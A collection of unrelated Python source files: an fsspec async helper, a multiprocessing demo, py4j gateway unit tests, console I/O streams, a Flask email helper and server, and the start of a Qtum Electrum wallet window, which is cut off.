rpath = self._strip_protocol(rpath)
lpath = make_path_posix(lpath)
rpaths = self.expand_path(rpath, recursive=recursive)
lpaths = other_paths(rpaths, lpath)
[os.makedirs(os.path.dirname(lp), exist_ok=True) for lp in lpaths]
return sync(self.loop, self._get, rpaths, lpaths)
def mirror_sync_methods(obj):
"""Populate sync and async methods for obj
For each method will create a sync version if the name refers to an async method
(coroutine) and there is no override in the child class; will create an async
method for the corresponding sync method if there is no implementation.
Uses the methods specified in
- async_methods: the set that an implementation is expected to provide
- default_async_methods: that can be derived from their sync version in
AbstractFileSystem
- AsyncFileSystem: async-specific default coroutines
"""
from fsspec import AbstractFileSystem
for method in async_methods + default_async_methods + dir(AsyncFileSystem):
if not method.startswith("_"):
continue
smethod = method[1:]
if private.match(method):
isco = inspect.iscoroutinefunction(getattr(obj, method, None))
unsync = getattr(getattr(obj, smethod, False), "__func__", None)
is_default = unsync is getattr(AbstractFileSystem, smethod, "")
if isco and is_default:
mth = sync_wrapper(getattr(obj, method), obj=obj)
setattr(obj, smethod, mth)
if not mth.__doc__:
mth.__doc__ = getattr(
getattr(AbstractFileSystem, smethod, None), "__doc__", ""
)
elif (
hasattr(obj, smethod)
and inspect.ismethod(getattr(obj, smethod))
and not hasattr(obj, method)
):
setattr(obj, method, async_wrapper(getattr(obj, smethod)))
|
sakal2.py | '''
Description : Multiprocessing V2
Function Date : 14 Mar 2021
Function Author : Prasad Dangare
Input : Int
Output : Int
'''
import os
import multiprocessing
from time import sleep
def Process1(no):
print("Process 1 is created")
print("PID of process 1 is : ", os.getpid())
print("PID of parent process of process1 is ", os.getppid())
for i in range(no):
sleep(1)
print("Process-1 ", i)
def Process2(no):
print("Process 2 is created")
print("PID of process 2 is : ", os.getpid())
print("PID of parent process of process2 is ", os.getppid())
for i in range(no):
sleep(1)
print("Process-2 ", i)
def main():
print("Inside Main Process")
print("PID of current is ", os.getpid())
print("PID of parent process of main is ", os.getppid())
value = 10
p1 = multiprocessing.Process(target = Process1, args = (value,))
p2 = multiprocessing.Process(target = Process2, args = (value,))
p1.start()
p2.start()
p1.join()
p2.join()
print("End of main process")
if __name__ == "__main__":
main() |
java_gateway_test.py | # -*- coding: UTF-8 -*-
'''
Created on Dec 10, 2009
@author: barthelemy
'''
from __future__ import unicode_literals, absolute_import
from decimal import Decimal
import gc
from multiprocessing import Process
import os
from socket import AF_INET, SOCK_STREAM, socket
import subprocess
from threading import Thread
import time
from traceback import print_exc
import unittest
from py4j.compat import range, isbytearray, bytearray2, long
from py4j.finalizer import ThreadSafeFinalizer
from py4j.java_gateway import JavaGateway, JavaMember, get_field, get_method, \
GatewayClient, set_field, java_import, JavaObject, is_instance_of
from py4j.protocol import *
SERVER_PORT = 25333
TEST_PORT = 25332
PY4J_JAVA_PATH = os.path.join(os.path.dirname(os.path.realpath(__file__)),
'../../../../py4j-java/bin')
def start_echo_server():
subprocess.call(["java", "-cp", PY4J_JAVA_PATH, "py4j.EchoServer"])
def start_echo_server_process():
# XXX DO NOT FORGET TO KILL THE PROCESS IF THE TEST DOES NOT SUCCEED
p = Process(target=start_echo_server)
p.start()
return p
def start_example_server():
subprocess.call(["java", "-Xmx512m", "-cp", PY4J_JAVA_PATH,
"py4j.examples.ExampleApplication"])
def start_example_app_process():
# XXX DO NOT FORGET TO KILL THE PROCESS IF THE TEST DOES NOT SUCCEED
p = Process(target=start_example_server)
p.start()
return p
def get_socket():
testSocket = socket(AF_INET, SOCK_STREAM)
testSocket.connect(('127.0.0.1', TEST_PORT))
return testSocket
def safe_shutdown(instance):
try:
instance.gateway.shutdown()
except Exception:
print_exc()
class TestConnection(object):
"""Connection that does nothing. Useful for testing."""
counter = -1
def __init__(self, return_message='yro'):
self.address = '127.0.0.1'
self.port = 1234
self.return_message = return_message
self.is_connected = True
def start(self):
pass
def stop(self):
pass
def send_command(self, command):
TestConnection.counter += 1
if not command.startswith('m\nd\n'):
self.last_message = command
return self.return_message + str(TestConnection.counter)
class ProtocolTest(unittest.TestCase):
def tearDown(self):
# Safety check in case there was an exception...
safe_shutdown(self)
def testEscape(self):
self.assertEqual("Hello\t\rWorld\n\\", unescape_new_line(
escape_new_line("Hello\t\rWorld\n\\")))
self.assertEqual("Hello\t\rWorld\n\\", unescape_new_line(
escape_new_line("Hello\t\rWorld\n\\")))
def testProtocolSend(self):
testConnection = TestConnection()
self.gateway = JavaGateway(testConnection, False)
e = self.gateway.getExample()
self.assertEqual('c\nt\ngetExample\ne\n', testConnection.last_message)
e.method1(1, True, 'Hello\nWorld', e, None, 1.5)
self.assertEqual(
'c\no0\nmethod1\ni1\nbTrue\nsHello\\nWorld\nro0\nn\nd1.5\ne\n',
testConnection.last_message)
del(e)
def testProtocolReceive(self):
p = start_echo_server_process()
time.sleep(1)
try:
testSocket = get_socket()
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('yro0\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('ysHello World\n'.encode('utf-8'))
# No extra echange (method3) because it is already cached.
testSocket.sendall('yi123\n'.encode('utf-8'))
testSocket.sendall('yd1.25\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('yn\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('ybTrue\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('yL123\n'.encode('utf-8'))
testSocket.close()
time.sleep(1)
self.gateway = JavaGateway(auto_field=True)
ex = self.gateway.getNewExample()
self.assertEqual('Hello World', ex.method3(1, True))
self.assertEqual(123, ex.method3())
self.assertAlmostEqual(1.25, ex.method3())
self.assertTrue(ex.method2() is None)
self.assertTrue(ex.method4())
self.assertEqual(long(123), ex.method8())
self.gateway.shutdown()
except Exception:
print_exc()
self.fail('Problem occurred')
p.join()
class IntegrationTest(unittest.TestCase):
def setUp(self):
self.p = start_echo_server_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
def tearDown(self):
# Safety check in case there was an exception...
safe_shutdown(self)
self.p.join()
def testIntegration(self):
try:
testSocket = get_socket()
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('yro0\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('ysHello World\n'.encode('utf-8'))
testSocket.sendall('yro1\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('ysHello World2\n'.encode('utf-8'))
testSocket.close()
time.sleep(1)
self.gateway = JavaGateway(auto_field=True)
ex = self.gateway.getNewExample()
response = ex.method3(1, True)
self.assertEqual('Hello World', response)
ex2 = self.gateway.entry_point.getNewExample()
response = ex2.method3(1, True)
self.assertEqual('Hello World2', response)
self.gateway.shutdown()
except Exception:
self.fail('Problem occurred')
def testException(self):
try:
testSocket = get_socket()
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall('yro0\n'.encode('utf-8'))
testSocket.sendall('yo\n'.encode('utf-8'))
testSocket.sendall(b'x\n')
testSocket.close()
time.sleep(1)
self.gateway = JavaGateway(auto_field=True)
ex = self.gateway.getNewExample()
self.assertRaises(Py4JError, lambda: ex.method3(1, True))
self.gateway.shutdown()
except Exception:
self.fail('Problem occurred')
class CloseTest(unittest.TestCase):
def testNoCallbackServer(self):
# Test that the program can continue to move on and that no close
# is required.
JavaGateway()
self.assertTrue(True)
def testCallbackServer(self):
# A close is required to stop the thread.
gateway = JavaGateway(start_callback_server=True)
gateway.close()
self.assertTrue(True)
time.sleep(1)
class MethodTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testNoneArg(self):
ex = self.gateway.getNewExample()
try:
ex.method2(None)
ex2 = ex.method4(None)
self.assertEquals(ex2.getField1(), 3)
self.assertEquals(2, ex.method7(None))
except Exception:
print_exc()
self.fail()
def testUnicode(self):
sb = self.gateway.jvm.java.lang.StringBuffer()
sb.append('\r\n\tHello\r\n\t')
self.assertEqual('\r\n\tHello\r\n\t', sb.toString())
def testEscape(self):
sb = self.gateway.jvm.java.lang.StringBuffer()
sb.append('\r\n\tHello\r\n\t')
self.assertEqual('\r\n\tHello\r\n\t', sb.toString())
class FieldTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testAutoField(self):
self.gateway = JavaGateway(auto_field=True)
ex = self.gateway.getNewExample()
self.assertEqual(ex.field10, 10)
self.assertEqual(ex.field11, long(11))
sb = ex.field20
sb.append('Hello')
self.assertEqual('Hello', sb.toString())
self.assertTrue(ex.field21 == None)
def testNoField(self):
self.gateway = JavaGateway(auto_field=True)
ex = self.gateway.getNewExample()
member = ex.field50
self.assertTrue(isinstance(member, JavaMember))
def testNoAutoField(self):
self.gateway = JavaGateway(auto_field=False)
ex = self.gateway.getNewExample()
self.assertTrue(isinstance(ex.field10, JavaMember))
self.assertTrue(isinstance(ex.field50, JavaMember))
self.assertEqual(10, get_field(ex, 'field10'))
# This field does not exist
self.assertRaises(Exception, get_field, ex, 'field50')
# With auto field = True
ex._auto_field = True
sb = ex.field20
sb.append('Hello')
self.assertEqual('Hello', sb.toString())
def testSetField(self):
self.gateway = JavaGateway(auto_field=False)
ex = self.gateway.getNewExample()
set_field(ex, 'field10', 2334)
self.assertEquals(get_field(ex, 'field10'), 2334)
sb = self.gateway.jvm.java.lang.StringBuffer('Hello World!')
set_field(ex, 'field21', sb)
self.assertEquals(get_field(ex, 'field21').toString(), 'Hello World!')
self.assertRaises(Exception, set_field, ex, 'field1', 123)
def testGetMethod(self):
# This is necessary if a field hides a method...
self.gateway = JavaGateway()
ex = self.gateway.getNewExample()
self.assertEqual(1, get_method(ex, 'method1')())
class UtilityTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testIsInstance(self):
a_list = self.gateway.jvm.java.util.ArrayList()
a_map = self.gateway.jvm.java.util.HashMap()
# FQN
self.assertTrue(is_instance_of(self.gateway, a_list, "java.util.List"))
self.assertFalse(is_instance_of(self.gateway, a_list, "java.lang.String"))
# JavaClass
self.assertTrue(is_instance_of(self.gateway, a_list,
self.gateway.jvm.java.util.List))
self.assertFalse(is_instance_of(self.gateway, a_list,
self.gateway.jvm.java.lang.String))
# JavaObject
self.assertTrue(is_instance_of(self.gateway, a_list, a_list))
self.assertFalse(is_instance_of(self.gateway, a_list, a_map))
class MemoryManagementTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
def tearDown(self):
safe_shutdown(self)
self.p.join()
gc.collect()
def testNoAttach(self):
self.gateway = JavaGateway()
gateway2 = JavaGateway()
sb = self.gateway.jvm.java.lang.StringBuffer()
sb.append('Hello World')
self.gateway.shutdown()
self.assertRaises(Exception, lambda : sb.append('Python'))
self.assertRaises(Exception,
lambda : gateway2.jvm.java.lang.StringBuffer())
def testDetach(self):
self.gateway = JavaGateway()
gc.collect()
finalizers_size_start = len(ThreadSafeFinalizer.finalizers)
sb = self.gateway.jvm.java.lang.StringBuffer()
sb.append('Hello World')
self.gateway.detach(sb)
sb2 = self.gateway.jvm.java.lang.StringBuffer()
sb2.append('Hello World')
sb2._detach()
gc.collect()
self.assertEqual(len(ThreadSafeFinalizer.finalizers) -
finalizers_size_start, 0)
self.gateway.shutdown()
class TypeConversionTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testLongInt(self):
ex = self.gateway.getNewExample()
self.assertEqual(1, ex.method7(1234))
self.assertEqual(4, ex.method7(2147483648))
self.assertEqual(4, ex.method7(long(2147483648)))
self.assertEqual(long(4), ex.method8(3))
self.assertEqual(4, ex.method8(3))
self.assertEqual(long(4), ex.method8(long(3)))
self.assertEqual(long(4), ex.method9(long(3)))
def testBigDecimal(self):
ex = self.gateway.getNewExample()
self.assertEqual(Decimal("2147483.647"), ex.method10(2147483647, 3))
self.assertEqual(Decimal("-13.456"), ex.method10(Decimal("-14.456")))
class UnicodeTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
#def testUtfMethod(self):
#ex = self.gateway.jvm.py4j.examples.UTFExample()
## Only works for Python 3
#self.assertEqual(2, ex.strangeMéthod())
def testUnicodeString(self):
# NOTE: this is unicode because of import future unicode literal...
ex = self.gateway.jvm.py4j.examples.UTFExample()
s1 = 'allo'
s2 = 'alloé'
array1 = ex.getUtfValue(s1)
array2 = ex.getUtfValue(s2)
self.assertEqual(len(s1), len(array1))
self.assertEqual(len(s2), len(array2))
self.assertEqual(ord(s1[0]), array1[0])
self.assertEqual(ord(s2[4]), array2[4])
class ByteTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testJavaByteConversion(self):
ex = self.gateway.jvm.py4j.examples.UTFExample()
ba = bytearray([0, 1, 127, 128, 255, 216, 1, 220])
self.assertEqual(0, ex.getPositiveByteValue(ba[0]))
self.assertEqual(1, ex.getPositiveByteValue(ba[1]))
self.assertEqual(127, ex.getPositiveByteValue(ba[2]))
self.assertEqual(128, ex.getPositiveByteValue(ba[3]))
self.assertEqual(255, ex.getPositiveByteValue(ba[4]))
self.assertEqual(216, ex.getPositiveByteValue(ba[5]))
self.assertEqual(0, ex.getJavaByteValue(ba[0]))
self.assertEqual(1, ex.getJavaByteValue(ba[1]))
self.assertEqual(127, ex.getJavaByteValue(ba[2]))
self.assertEqual(-128, ex.getJavaByteValue(ba[3]))
self.assertEqual(-1, ex.getJavaByteValue(ba[4]))
def testProtocolConversion(self):
#b1 = tobytestr('abc\n')
b2 = bytearray([1, 2, 3, 255, 0, 128, 127])
#encoded1 = encode_bytearray(b1)
encoded2 = encode_bytearray(b2)
#self.assertEqual(b1, decode_bytearray(encoded1))
self.assertEqual(b2, decode_bytearray(encoded2))
def testBytesType(self):
ex = self.gateway.jvm.py4j.examples.UTFExample()
int_list = [0, 1, 10, 127, 128, 255]
ba1 = bytearray(int_list)
# Same for Python2, bytes for Python 3
ba2 = bytearray2(int_list)
a1 = ex.getBytesValue(ba1)
a2 = ex.getBytesValue(ba2)
for i1, i2 in zip(a1, int_list):
self.assertEqual(i1, i2)
for i1, i2 in zip(a2, int_list):
self.assertEqual(i1, i2)
def testBytesType2(self):
ex = self.gateway.jvm.py4j.examples.UTFExample()
int_list = [0, 1, 10, 127, 255, 128]
a1 = ex.getBytesValue()
# Python 2: bytearray (because str is too easy to confuse with normal
# strings)
# Python 3: bytes (because bytes is closer to the byte[] representation
# in Java)
self.assertTrue(isbytearray(a1) or ispython3bytestr(a1))
for i1, i2 in zip(a1, int_list):
self.assertEqual(i1, i2)
def testLargeByteArray(self):
# Regression test for #109, an error when passing large byte arrays.
self.gateway.jvm.java.nio.ByteBuffer.wrap(bytearray(range(255)))
class ExceptionTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testJavaError(self):
try:
self.gateway.jvm.Integer.valueOf('allo')
except Py4JJavaError as e:
self.assertEqual('java.lang.NumberFormatException',
e.java_exception.getClass().getName())
except Exception:
self.fail()
def testJavaConstructorError(self):
try:
self.gateway.jvm.Integer('allo')
except Py4JJavaError as e:
self.assertEqual('java.lang.NumberFormatException',
e.java_exception.getClass().getName())
except Exception:
self.fail()
def doError(self):
id = ''
try:
self.gateway.jvm.Integer.valueOf('allo')
except Py4JJavaError as e:
id = e.java_exception._target_id
return id
def testJavaErrorGC(self):
id = self.doError()
java_object = JavaObject(id, self.gateway._gateway_client)
try:
# Should fail because it should have been garbage collected...
java_object.getCause()
self.fail()
except Py4JError:
self.assertTrue(True)
def testReflectionError(self):
try:
self.gateway.jvm.Integer.valueOf2('allo')
except Py4JJavaError:
self.fail()
except Py4JNetworkError:
self.fail()
except Py4JError:
self.assertTrue(True)
def testStrError(self):
try:
self.gateway.jvm.Integer.valueOf('allo')
except Py4JJavaError as e:
self.assertTrue(str(e).startswith(
'An error occurred while calling z:java.lang.Integer.valueOf.'
'\n: java.lang.NumberFormatException:'))
except Exception:
self.fail()
class JVMTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testConstructors(self):
jvm = self.gateway.jvm
sb = jvm.java.lang.StringBuffer('hello')
sb.append('hello world')
sb.append(1)
self.assertEqual(sb.toString(), 'hellohello world1')
l1 = jvm.java.util.ArrayList()
l1.append('hello world')
l1.append(1)
self.assertEqual(2, len(l1))
self.assertEqual('hello world', l1[0])
l2 = ['hello world', 1]
self.assertEqual(str(l2), str(l1))
def testStaticMethods(self):
System = self.gateway.jvm.java.lang.System
self.assertTrue(System.currentTimeMillis() > 0)
self.assertEqual('123', self.gateway.jvm.java.lang.String.valueOf(123))
def testStaticFields(self):
Short = self.gateway.jvm.java.lang.Short
self.assertEqual(-32768, Short.MIN_VALUE)
System = self.gateway.jvm.java.lang.System
self.assertFalse(System.out.checkError())
def testDefaultImports(self):
self.assertTrue(self.gateway.jvm.System.currentTimeMillis() > 0)
self.assertEqual('123', self.gateway.jvm.String.valueOf(123))
def testNone(self):
ex = self.gateway.entry_point.getNewExample()
ex.method4(None)
def testJVMView(self):
newView = self.gateway.new_jvm_view('myjvm')
time = newView.System.currentTimeMillis()
self.assertTrue(time > 0)
time = newView.java.lang.System.currentTimeMillis()
self.assertTrue(time > 0)
def testImport(self):
newView = self.gateway.new_jvm_view('myjvm')
java_import(self.gateway.jvm, 'java.util.*')
java_import(self.gateway.jvm, 'java.io.File')
self.assertTrue(self.gateway.jvm.ArrayList() is not None)
self.assertTrue(self.gateway.jvm.File('hello.txt') is not None)
self.assertRaises(Exception, lambda : newView.File('test.txt'))
java_import(newView, 'java.util.HashSet')
self.assertTrue(newView.HashSet() is not None)
def testEnum(self):
self.assertEqual('FOO', str(self.gateway.jvm.py4j.examples.Enum2.FOO))
def testInnerClass(self):
self.assertEqual('FOO',
str(self.gateway.jvm.py4j.examples.EnumExample.MyEnum.FOO))
self.assertEqual('HELLO2',
self.gateway.jvm.py4j.examples.EnumExample.InnerClass.MY_CONSTANT2)
class HelpTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
self.gateway = JavaGateway()
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testHelpObject(self):
ex = self.gateway.getNewExample()
help_page = self.gateway.help(ex, short_name=True, display=False)
#print(help_page)
self.assertTrue(len(help_page) > 1)
def testHelpObjectWithPattern(self):
ex = self.gateway.getNewExample()
help_page = self.gateway.help(ex, pattern='m*', short_name=True,
display=False)
#print(help_page)
self.assertTrue(len(help_page) > 1)
def testHelpClass(self):
String = self.gateway.jvm.java.lang.String
help_page = self.gateway.help(String, short_name=False, display=False)
#print(help_page)
self.assertTrue(len(help_page) > 1)
self.assertTrue("String" in help_page)
class Runner(Thread):
def __init__(self, runner_range, gateway):
Thread.__init__(self)
self.range = runner_range
self.gateway = gateway
self.ok = True
def run(self):
ex = self.gateway.getNewExample()
for i in self.range:
try:
l = ex.getList(i)
if len(l) != i:
self.ok = False
break
self.gateway.detach(l)
# gc.collect()
except Exception:
self.ok = False
break
class ThreadTest(unittest.TestCase):
def setUp(self):
self.p = start_example_app_process()
# This is to ensure that the server is started before connecting to it!
time.sleep(1)
gateway_client = GatewayClient()
self.gateway = JavaGateway(gateway_client=gateway_client)
def tearDown(self):
safe_shutdown(self)
self.p.join()
def testStress(self):
# Real stress test!
# runner1 = Runner(xrange(1,10000,2),self.gateway)
# runner2 = Runner(xrange(1000,1000000,10000), self.gateway)
# runner3 = Runner(xrange(1000,1000000,10000), self.gateway)
# Small stress test
runner1 = Runner(range(1, 10000, 1000), self.gateway)
runner2 = Runner(range(1000, 1000000, 100000), self.gateway)
runner3 = Runner(range(1000, 1000000, 100000), self.gateway)
runner1.start()
runner2.start()
runner3.start()
runner1.join()
runner2.join()
runner3.join()
self.assertTrue(runner1.ok)
self.assertTrue(runner2.ok)
self.assertTrue(runner3.ok)
class GatewayLauncherTest(unittest.TestCase):
def tearDown(self):
safe_shutdown(self)
def testDefaults(self):
self.gateway = JavaGateway.launch_gateway()
self.assertTrue(self.gateway.jvm)
def testJavaopts(self):
self.gateway = JavaGateway.launch_gateway(javaopts=["-Xmx64m"])
self.assertTrue(self.gateway.jvm)
if __name__ == "__main__":
unittest.main()
|
console.py | from __future__ import absolute_import, division, print_function
from io import TextIOBase
import sys
import threading
if sys.version_info[0] < 3:
from Queue import Queue
else:
from queue import Queue
def start_thread(runnable):
threading.Thread(target=lambda: runnable.run()).start()
class ConsoleInputStream(TextIOBase):
"""Receives input in on_input in one thread (non-blocking), and provides a read interface in
another thread (blocking). Reads will return bytes in Python 2 or unicode in Python 3.
"""
def __init__(self, task):
TextIOBase.__init__(self)
self.task = task
self.queue = Queue()
self.buffer = ""
self.eof = False
@property
def encoding(self):
return "UTF-8"
@property
def errors(self):
return "strict" # UTF-8 encoding should never fail.
def readable(self):
return True
def on_input(self, input):
if self.eof:
raise ValueError("Can't add more input after EOF")
if input is None:
self.eof = True
self.queue.put(input)
def read(self, size=None):
if size is not None and size < 0:
size = None
buffer = self.buffer
while (self.queue is not None) and ((size is None) or (len(buffer) < size)):
if self.queue.empty():
self.task.onInputState(True)
input = self.queue.get()
self.task.onInputState(False)
if input is None: # EOF
self.queue = None
else:
buffer += input
result = buffer if (size is None) else buffer[:size]
self.buffer = buffer[len(result):]
return result.encode(self.encoding, self.errors) if (sys.version_info[0] < 3) else result
def readline(self, size=None):
if size is not None and size < 0:
size = None
chars = []
while (size is None) or (len(chars) < size):
c = self.read(1)
if not c:
break
chars.append(c)
if c == "\n":
break
return "".join(chars)
class ConsoleOutputStream(TextIOBase):
"""Passes each write to the underlying stream, and also to the given method (which must take a
single String argument) on the given Task object.
"""
def __init__(self, task, method_name, stream):
TextIOBase.__init__(self)
self.stream = stream
self.method = getattr(task, method_name)
@property
def encoding(self):
return self.stream.encoding
@property
def errors(self):
return self.stream.errors
def writable(self):
return True
def write(self, s):
if sys.version_info[0] < 3 and isinstance(s, str):
u = s.decode(self.encoding, self.errors)
else:
u = s
self.method(u)
return self.stream.write(s)
def flush(self):
self.stream.flush()
|
email.py | # app/email.py
# данный модуль служит для асинхроной отправки электроной почты
# :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
from threading import Thread
from flask import current_app, render_template
from flask_mail import Message
from . import mail
# :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
def send_async_email(app, msg):
with app.app_context():
mail.send(msg)
def send_email(to, subject, template, **kwargs):
app = current_app._get_current_object()
msg = Message(app.config['APP_MAIL_SUBJECT_PREFIX'] + ' ' + subject,
recipients=[to])
msg.body = render_template(template + '.txt', **kwargs)
msg.html = render_template(template + '.html', **kwargs)
thr = Thread(target=send_async_email, args=[app, msg])
thr.start()
return thr
|
server.py | from flask import Flask, render_template, request, redirect, url_for
import atexit
import threading
import pages
import settings
def close_running_threads():
settings.db.commit()
print ("Threads complete, ready to finish")
settings.plc.close()
app = Flask(__name__)
app.add_url_rule('/pkt', view_func=pages.showpkt, methods=['POST', 'GET'])
app.add_url_rule('/', view_func=pages.index, methods=['POST', 'GET'])
app.add_url_rule('/stored', view_func=pages.stored, methods=['POST', 'GET'])
def flaskThread():
app.run(debug=False, use_reloader=False, port=80, host='0.0.0.0')
if __name__ == '__main__':
settings.init()
atexit.register(close_running_threads)
threading.Thread(target=flaskThread).start() |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import threading
import os
import traceback
import shutil
import weakref
import csv
from decimal import Decimal
import base64
import binascii
import eth_abi
import queue
from PyQt5.QtCore import Qt
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from .exception_window import Exception_Hook
from qtum_electrum import keystore, constants, ecc
from qtum_electrum.qtum import COIN, is_address, TYPE_ADDRESS, TYPE_SCRIPT, is_hash160, eth_abi_encode
from qtum_electrum.plugin import run_hook
from qtum_electrum.i18n import _
from qtum_electrum.util import (bh2u, bfh, format_time, format_satoshis, format_fee_satoshis,PrintError, format_satoshis_plain,
NotEnoughFunds, UserCancelled, profiler, export_meta, import_meta, open_browser,
InvalidPassword)
from qtum_electrum import util, bitcoin, commands, coinchooser
from qtum_electrum import paymentrequest
from qtum_electrum.transaction import Transaction, opcodes, contract_script, TxOutput, is_opcreate_script
from qtum_electrum.address_synchronizer import AddTransactionException
from qtum_electrum.wallet import Multisig_Wallet
from qtum_electrum.tokens import Token
from qtum_electrum.crypto import hash_160
from qtum_electrum.i18n import _
try:
from qtum_electrum.plot import plot_history
except:
plot_history = None
from .amountedit import AmountEdit, BTCAmountEdit, MyLineEdit
from .qrcodewidget import QRCodeWidget, QRDialog
from .qrtextedit import ShowQRTextEdit, ScanQRTextEdit
from .transaction_dialog import show_transaction
from .fee_slider import FeeSlider
from .util import *
from .token_dialog import TokenAddDialog, TokenInfoDialog, TokenSendDialog
from .smart_contract_dialog import ContractCreateDialog, ContractFuncDialog, ContractEditDialog
class StatusBarButton(QPushButton):
def __init__(self, icon, tooltip, func):
QPushButton.__init__(self, icon, '')
self.setToolTip(tooltip)
self.setFlat(True)
self.setMaximumWidth(25)
self.clicked.connect(self.onPress)
self.func = func
self.setIconSize(QSize(25,25))
def onPress(self, checked=False):
'''Drops the unwanted PyQt5 "checked" argument'''
self.func()
def keyPressEvent(self, e):
if e.key() == Qt.Key_Return:
self.func()
class ElectrumWindow(QMainWindow, MessageBoxMixin, PrintError):
payment_request_ok_signal = pyqtSignal()
payment_request_error_signal = pyqtSignal()
new_fx_quotes_signal = pyqtSignal()
new_fx_history_signal = pyqtSignal()
new_fx_token_signal = pyqtSignal()
network_signal = pyqtSignal(str, object)
alias_received_signal = pyqtSignal()
computing_privkeys_signal = pyqtSignal()
show_privkeys_signal = pyqtSignal()
def __init__(self, gui_object, wallet):
QMainWindow.__init__(self)
self.gui_object = gui_object
self.config = config = gui_object.config
self.setup_exception_hook()
self.network = gui_object.daemon.network
self.wallet = wallet
self.fx = gui_object.daemon.fx
self.invoices = wallet.invoices
self.contacts = wallet.contacts
self.smart_contracts = wallet.smart_contracts
self.tokens = wallet.tokens
self.tray = gui_object.tray
self.app = gui_object.app
self.cleaned_up = False
self.is_max = False
self.payment_request = None
self.checking_accounts = False
self.qr_window = None
self.not_enough_funds = False
self.pluginsdialog = None
self.require_fee_update = False
self.tl_windows = []
self.tx_external_keypairs = {}
self.tx_notification_queue = queue.Queue()
self.tx_notification_last_time = 0
self.create_status_bar()
self.need_update = threading.Event()
self.decimal_point = config.get('decimal_point', 8)
self.num_zeros = int(config.get('num_zeros', 0))
self.completions = QStringListModel()
self.tabs = tabs = QTabWidget(self)
self.send_tab = self.create_send_tab()
self.receive_tab = self.create_receive_tab()
self.addresses_tab = self.create_addresses_tab()
self.utxo_tab = self.create_utxo_tab()
self.console_tab = self.create_console_tab()
self.contacts_tab = self.create_contacts_tab()
self.tokens_tab = self.create_tokens_tab()
self.smart_contract_tab = self.create_smart_contract_tab()
self.imap_server = self.config.get('email_server', '')
self.smtp_server = self.config.get('email_smtp', '')
self.username = self.config.get('email_username', '')
self.password = self.config.get('email_password', '')
tabs.addTab(self.create_history_tab(), QIcon(":icons/tab_history.png"), _('History'))
tabs.addTab(self.send_tab, QIcon(":icons/tab_send.png"), _('Send'))
tabs.addTab(self.receive_tab, QIcon(":icons/tab_receive.png"), _('Receive'))
tabs.addTab(self.tokens_tab, QIcon(":icons/tab_contacts.png"), _('Tokens'))
# tabs.addTab(self.contacts_tab, QIcon(":icons/tab_contacts.png"), _('Contacts'))
def add_optional_tab(tabs, tab, icon, description, name):
tab.tab_icon = icon
tab.tab_description = description
tab.tab_pos = len(tabs)
tab.tab_name = name
